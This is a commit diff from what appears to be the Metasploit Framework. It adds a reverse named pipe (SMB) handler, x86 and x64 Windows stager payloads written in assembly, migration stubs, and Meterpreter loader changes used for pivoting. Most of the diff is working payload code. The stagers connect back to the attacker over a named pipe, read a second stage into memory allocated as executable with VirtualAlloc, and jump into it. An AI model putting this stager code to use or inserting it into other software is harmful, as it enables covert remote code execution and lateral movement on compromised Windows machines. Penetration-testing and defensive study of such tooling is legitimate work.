First pass of named pipe code for pivots
parent
36bbe00ea1
commit
816e78b6f6
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'thread'
|
||||
require 'msf/core/post_mixin'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
###
|
||||
#
|
||||
# TODO: docs
|
||||
#
|
||||
###
|
||||
module ReverseNamedPipe
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_named_pipe'.
|
||||
#
|
||||
def self.handler_type
|
||||
"reverse_named_pipe"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'reverse'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"reverse"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the reverse handler and ads the options that are required
|
||||
# for reverse named pipe payloads.
|
||||
#
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
register_options([
|
||||
OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']),
|
||||
OptString.new('PIPEHOST', [true, 'Host of the pipe to connect to', '.'])
|
||||
], Msf::Handler::ReverseNamedPipe)
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the listener socket if one was created.
|
||||
#
|
||||
def cleanup_handler
|
||||
# we're just pretending to be a handler
|
||||
end
|
||||
|
||||
# A string suitable for displaying to the user
|
||||
#
|
||||
# @return [String]
|
||||
def human_name
|
||||
"reverse named pipe"
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
def start_handler
|
||||
# we're just pretending to be a handler
|
||||
end
|
||||
|
||||
#
|
||||
# Stops monitoring for an inbound connection.
|
||||
#
|
||||
def stop_handler
|
||||
# we're just pretending to be a handler
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -64,6 +64,14 @@ module Msf::Payload::TransportConfig
|
|||
}.merge(timeout_config)
|
||||
end
|
||||
|
||||
def transport_config_reverse_named_pipe(opts={})
|
||||
{
|
||||
scheme: 'pipe',
|
||||
lhost: datastore['PIPEHOST'],
|
||||
uri: "/#{datastore['PIPENAME']}"
|
||||
}.merge(timeout_config)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def timeout_config
|
||||
|
|
|
@ -28,7 +28,7 @@ module Payload::Windows::MeterpreterLoader
|
|||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', },
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
|
@ -55,7 +55,7 @@ module Payload::Windows::MeterpreterLoader
|
|||
|
||||
unless opts[:stageless]
|
||||
asm << %Q^
|
||||
mov [ebx], edi ; write the current socket to the config
|
||||
mov [ebx], edi ; write the current socket/handle to the config
|
||||
^
|
||||
end
|
||||
|
||||
|
|
|
@ -3,3 +3,4 @@
|
|||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/migrate_tcp'
|
||||
require 'msf/core/payload/windows/migrate_http'
|
||||
require 'msf/core/payload/windows/migrate_named_pipe'
|
||||
|
|
|
@ -0,0 +1,56 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/migrate_common'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Payload that supports migrating over Named Pipe transports on x86.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::MigrateNamedPipe
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Migrate over Named Pipe transport',
|
||||
'Description' => 'Migration stub to use over Named Pipe transports',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
%Q^
|
||||
migrate:
|
||||
cld
|
||||
pop esi
|
||||
pop esi ; esi now contains a pointer to the migrate context
|
||||
sub esp, 0x2000
|
||||
call start
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
mov edi, [esi+16] ; The duplicated pipe handle is in the migrate context.
|
||||
signal_event:
|
||||
push dword [esi] ; Event handle is pointed at by esi
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
|
||||
call ebp ; SetEvent(handle)
|
||||
call_payload:
|
||||
call dword [esi+8] ; call the associated payload
|
||||
^
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,277 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/send_uuid'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_named_pipe payload generation for Windows ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseNamedPipe
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::SendUUID
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
#
|
||||
# Register reverse_named_pipe specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
name: datastore['PIPENAME'],
|
||||
host: datastore['PIPEHOST'] || '.',
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_named_pipe(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_named_pipe(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_named_pipe(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_named_pipe(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
|
||||
space += 29
|
||||
|
||||
# Reliability adds some bytes!
|
||||
space += 44
|
||||
|
||||
space += uuid_required_size if include_send_uuid
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_reverse_named_pipe(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
reliable = opts[:reliable]
|
||||
# we have to double-escape because of metasm
|
||||
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the handle for the pipe to the server
|
||||
|
||||
retry_start:
|
||||
push #{retry_count} ; retry counter
|
||||
mov esi, esp ; keep track of where the variables are
|
||||
|
||||
try_reverse_named_pipe:
|
||||
; Start by setting up the call to CreateFile
|
||||
xor ebx, ebx ; EBX will be used for pushing zero
|
||||
push ebx ; hTemplateFile
|
||||
push ebx ; dwFlagsAndAttributes
|
||||
push 3 ; dwCreationDisposition (OPEN_EXISTING)
|
||||
push ebx ; lpSecurityAttributes
|
||||
push ebx ; dwShareMode
|
||||
push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE)
|
||||
call get_pipe_name
|
||||
db "#{full_pipe_name}", 0x00
|
||||
get_pipe_name:
|
||||
; lpFileName (via call)
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
|
||||
call ebp ; CreateFileA(...)
|
||||
|
||||
; If eax is -1, then we had a failure.
|
||||
cmp eax, -1 ; -1 means a failure
|
||||
jnz connected
|
||||
|
||||
handle_connect_failure:
|
||||
; decrement our attempt count and try again
|
||||
dec [esi]
|
||||
jnz try_reverse_named_pipe
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; this label is required so that reconnect attempts include
|
||||
; the UUID stuff if required.
|
||||
connected:
|
||||
xchg edi, eax ; edi now has the file handle we'll need in future
|
||||
^
|
||||
|
||||
asm << asm_write_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
; Receive the size of the incoming second stage...
|
||||
push ebx ; buffer for lpNumberOfBytesRead
|
||||
mov ecx, esp
|
||||
push ebx ; buffer for lpBuffer
|
||||
mov esi, esp
|
||||
push ebx ; lpOverlapped
|
||||
push ecx ; lpNumberOfBytesRead
|
||||
push 4 ; nNumberOfBytesToRead = sizeof( DWORD );
|
||||
push esi ; lpBuffer
|
||||
push edi ; hFile
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||
call ebp ; ReadFile(...) to read the size
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the file read worked, retry otherwise
|
||||
; if it fails
|
||||
test eax, eax
|
||||
jz cleanup_file
|
||||
mov eax, [esi+4] ; check to see if bytes were read
|
||||
test eax, eax
|
||||
jz cleanup_file
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; Alloc a RWX buffer for the second stage
|
||||
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; push the newly received second stage length.
|
||||
push 0 ; NULL as we dont care where the allocation is.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more:
|
||||
push eax ; space for the number of bytes
|
||||
mov eax, esp ; store the pointer
|
||||
push 0 ; lpOverlapped
|
||||
push eax ; lpNumberOfBytesRead
|
||||
push esi ; nNumberOfBytesToRead
|
||||
push ebx ; lpBuffer
|
||||
push edi ; hFile
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||
call ebp ; ReadFile(...) to read the size
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the recv worked, and reconnect
|
||||
; if it fails
|
||||
cmp eax, 0
|
||||
jz read_failed
|
||||
pop eax ; get the number of bytes read
|
||||
cmp eax, 0
|
||||
jnz read_successful
|
||||
|
||||
read_failed:
|
||||
; something failed, free up memory
|
||||
pop eax ; get the address of the payload
|
||||
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
|
||||
push 0 ; dwSize
|
||||
push eax ; lpAddress
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
|
||||
|
||||
cleanup_file:
|
||||
; clear up the named pipe handle
|
||||
push edi ; named pipe handle
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
|
||||
call ebp ; CloseHandle(...)
|
||||
|
||||
; restore the stack back to the connection retry count
|
||||
pop esi
|
||||
pop esi
|
||||
pop esi
|
||||
dec [esp] ; decrement the counter
|
||||
|
||||
; try again
|
||||
jmp try_reverse_named_pipe
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
pop eax ; pop bytes read
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
read_successful:
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
ret ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -29,7 +29,7 @@ module Payload::Windows::MeterpreterLoader_x64
|
|||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X64,
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi' },
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' },
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
|
@ -56,8 +56,8 @@ module Payload::Windows::MeterpreterLoader_x64
|
|||
|
||||
unless opts[:stageless]
|
||||
asm << %Q^
|
||||
; store the comms socket handle
|
||||
mov dword ptr [rbx], edi
|
||||
; store the comms socket or handle
|
||||
mov [rbx], rdi
|
||||
^
|
||||
end
|
||||
|
||||
|
|
|
@ -3,3 +3,4 @@
|
|||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/migrate_tcp'
|
||||
require 'msf/core/payload/windows/x64/migrate_http'
|
||||
require 'msf/core/payload/windows/x64/migrate_named_pipe'
|
||||
|
|
|
@ -0,0 +1,56 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/migrate_common'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Payload that supports migrating over Named Pipe transports on x64.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::MigrateNamedPipe_x64
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Migrate over Named Pipe transport (x64)',
|
||||
'Description' => 'Migration stub to use over Named Pipe transports (x64)',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X64,
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
%Q^
|
||||
migrate:
|
||||
cld
|
||||
mov rsi, rcx
|
||||
sub rsp, 0x2000
|
||||
and rsp, ~0xF
|
||||
call start
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp
|
||||
mov rdi, qword [rsi+16] ; The duplicated pipe handle is in the migrate context.
|
||||
signal_event:
|
||||
mov rcx, qword [rsi] ; Event handle is pointed at by rsi
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
|
||||
call rbp ; SetEvent(handle)
|
||||
call_payload:
|
||||
call qword [rsi+8] ; call the associated payload
|
||||
^
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,276 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/send_uuid'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_named_pipe payload generation for Windows ARCH_X86_64
|
||||
# ###
|
||||
|
||||
module Payload::Windows::ReverseNamedPipe_x64
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::SendUUID_x64
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
#
|
||||
# Register reverse_named_pipe specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
name: datastore['PIPENAME'],
|
||||
host: datastore['PIPEHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_named_pipe(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_named_pipe(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp ; block API pointer
|
||||
#{asm_reverse_named_pipe(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_named_pipe(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
|
||||
space += 15
|
||||
|
||||
# Reliability adds bytes!
|
||||
space += 57
|
||||
|
||||
space += uuid_required_size if include_send_uuid
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_reverse_named_pipe(opts={})
|
||||
|
||||
#reliable = opts[:reliable]
|
||||
reliable = false
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
|
||||
|
||||
asm = %Q^
|
||||
; Input: RBP must be the address of 'api_call'
|
||||
; Output: RDI will be the handle to the named pipe.
|
||||
|
||||
retry_start:
|
||||
push #{retry_count} ; retry counter
|
||||
pop r14
|
||||
|
||||
; Func(rcx, rdx, r8, r9, stack ...)
|
||||
try_reverse_named_pipe:
|
||||
call get_pipe_name
|
||||
db "#{full_pipe_name}", 0x00
|
||||
get_pipe_name:
|
||||
pop rcx ; lpFileName
|
||||
; Start by setting up the call to CreateFile
|
||||
push 0 ; alignment
|
||||
push 0 ; hTemplateFile
|
||||
push 0 ; dwFlagsAndAttributes
|
||||
push 3 ; dwCreationDisposition (OPEN_EXISTING)
|
||||
xor r9, r9 ; lpSecurityAttributes
|
||||
xor r8, r8 ; dwShareMode
|
||||
mov rdx, 0xC0000000 ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE)
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
|
||||
call rbp ; CreateFileA(...)
|
||||
|
||||
; check for failure
|
||||
cmp rax, -1 ; did it work?
|
||||
jnz connected
|
||||
|
||||
handle_connect_failure:
|
||||
dec r14 ; decrement the retry count
|
||||
jnz retry_start
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; this lable is required so that reconnect attempts include
|
||||
; the UUID stuff if required.
|
||||
connected:
|
||||
xchg rdi, rax ; Save the file handler for later
|
||||
^
|
||||
asm << asm_write_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; buffer for lpNumberOfBytesRead
|
||||
mov r9, rsp ; lpNumberOfBytesRead
|
||||
push 0 ; buffer for lpBuffer
|
||||
mov rsi, rsp ; lpNumberOfBytesRead
|
||||
push 4 ; sizeof(DWORD)
|
||||
pop r8 ; nNumberOfBytesToRead
|
||||
push 0 ; alignment
|
||||
push 0 ; lpOverlapped
|
||||
mov rdx, rsi ; lpBuffer
|
||||
mov rcx, rdi ; hFile
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||
call rbp ; ReadFile(...)
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the received worked, and reconnect
|
||||
; if it fails
|
||||
test eax, eax
|
||||
jz cleanup_file
|
||||
mov rax, [rsi+8]
|
||||
test eax, eax
|
||||
jz cleanup_file
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
|
||||
; Alloc a RWX buffer for the second stage
|
||||
add rsp, 0x30 ; slight stack adjustment
|
||||
pop rsi ; pop off the second stage length
|
||||
pop rax ; line the stack up again
|
||||
mov esi, esi ; only use the lower-order 32 bits for the size
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
pop r8 ; MEM_COMMIT
|
||||
mov rdx, rsi ; the newly recieved second stage length.
|
||||
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
mov rbx, rax ; rbx = our new memory address for the new stage
|
||||
mov r15, rax ; save the address so we can jump into it later
|
||||
|
||||
read_more:
|
||||
push 0 ; buffer for lpNumberOfBytesRead
|
||||
mov r9, rsp ; lpNumberOfBytesRead
|
||||
mov rdx, rbx ; lpBuffer
|
||||
mov r8, rsi ; nNumberOfBytesToRead
|
||||
push 0 ; lpOverlapped
|
||||
mov rcx, rdi ; hFile
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||
call rbp ; ReadFile(...)
|
||||
add rsp, 0x28 ; slight stack adjustment
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the read worked
|
||||
; if it fails
|
||||
test eax, eax
|
||||
jnz read_successful
|
||||
|
||||
; something failed so free up memory
|
||||
pop rax
|
||||
push r15
|
||||
pop rcx ; lpAddress
|
||||
push 0x4000 ; MEM_DECOMMIT
|
||||
pop r8 ; dwFreeType
|
||||
push 0 ; 0
|
||||
pop rdx ; dwSize
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||
call rbp ; VirtualFree(payload, 0, MEM_DECOMMIT)
|
||||
|
||||
cleanup_file:
|
||||
; clean up the socket
|
||||
push rdi ; file handle
|
||||
pop rcx ; hFile
|
||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
|
||||
call rbp
|
||||
|
||||
; and try again
|
||||
dec r14 ; decrement the retry count
|
||||
jmp retry_start
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
read_successful:
|
||||
pop rax
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
sub rsi, rax ; length -= bytes_received
|
||||
test rsi, rsi ; test length
|
||||
jnz read_more ; continue if we have more to read
|
||||
jmp r15 ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -67,7 +67,7 @@ private
|
|||
session_guid # the Session GUID
|
||||
]
|
||||
|
||||
session_data.pack('VVVA*A*')
|
||||
session_data.pack('QVVA*A*')
|
||||
end
|
||||
|
||||
def transport_block(opts)
|
||||
|
|
|
@ -751,6 +751,8 @@ private
|
|||
case t[:url]
|
||||
when /^tcp/i
|
||||
c.include(::Msf::Payload::Windows::MigrateTcp)
|
||||
when /^pipe/i
|
||||
c.include(::Msf::Payload::Windows::MigrateNamedPipe)
|
||||
when /^http/i
|
||||
# Covers HTTP and HTTPS
|
||||
c.include(::Msf::Payload::Windows::MigrateHttp)
|
||||
|
@ -760,6 +762,8 @@ private
|
|||
case t[:url]
|
||||
when /^tcp/i
|
||||
c.include(::Msf::Payload::Windows::MigrateTcp_x64)
|
||||
when /^pipe/i
|
||||
c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64)
|
||||
when /^http/i
|
||||
# Covers HTTP and HTTPS
|
||||
c.include(::Msf::Payload::Windows::MigrateHttp_x64)
|
||||
|
|
|
@ -0,0 +1,32 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_named_pipe'
|
||||
require 'msf/core/payload/windows/reverse_named_pipe'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 281
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::ReverseNamedPipe
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x86 Reverse Named Pipe (SMB) Stager',
|
||||
'Description' => 'Connect back to the attacker via a named pipe pivot',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Handler' => Msf::Handler::ReverseNamedPipe,
|
||||
'Arch' => ARCH_X86,
|
||||
'Convention' => 'handleedi',
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_named_pipe'
|
||||
require 'msf/core/payload/windows/x64/reverse_named_pipe'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 281
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::ReverseNamedPipe_x64
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Reverse Named Pipe (SMB) Stager',
|
||||
'Description' => 'Connect back to the attacker via a named pipe pivot',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseNamedPipe,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X64,
|
||||
'Convention' => 'handlerdi',
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -23,8 +23,8 @@ module MetasploitModule
|
|||
super(update_info(info,
|
||||
'Name' => 'Windows Meterpreter (Reflective Injection)',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
|
||||
'Author' => ['skape','sf'],
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi'},
|
||||
'Author' => ['skape', 'sf', 'OJ Reeves'],
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi handleedi http https'},
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
|
|
|
@ -23,8 +23,8 @@ module MetasploitModule
|
|||
super(update_info(info,
|
||||
'Name' => 'Windows Meterpreter (Reflective Injection x64)',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
|
||||
'Author' => ['skape','sf', 'OJ Reeves'],
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi', },
|
||||
'Author' => ['skape', 'sf', 'OJ Reeves'],
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi http https'},
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Win))
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue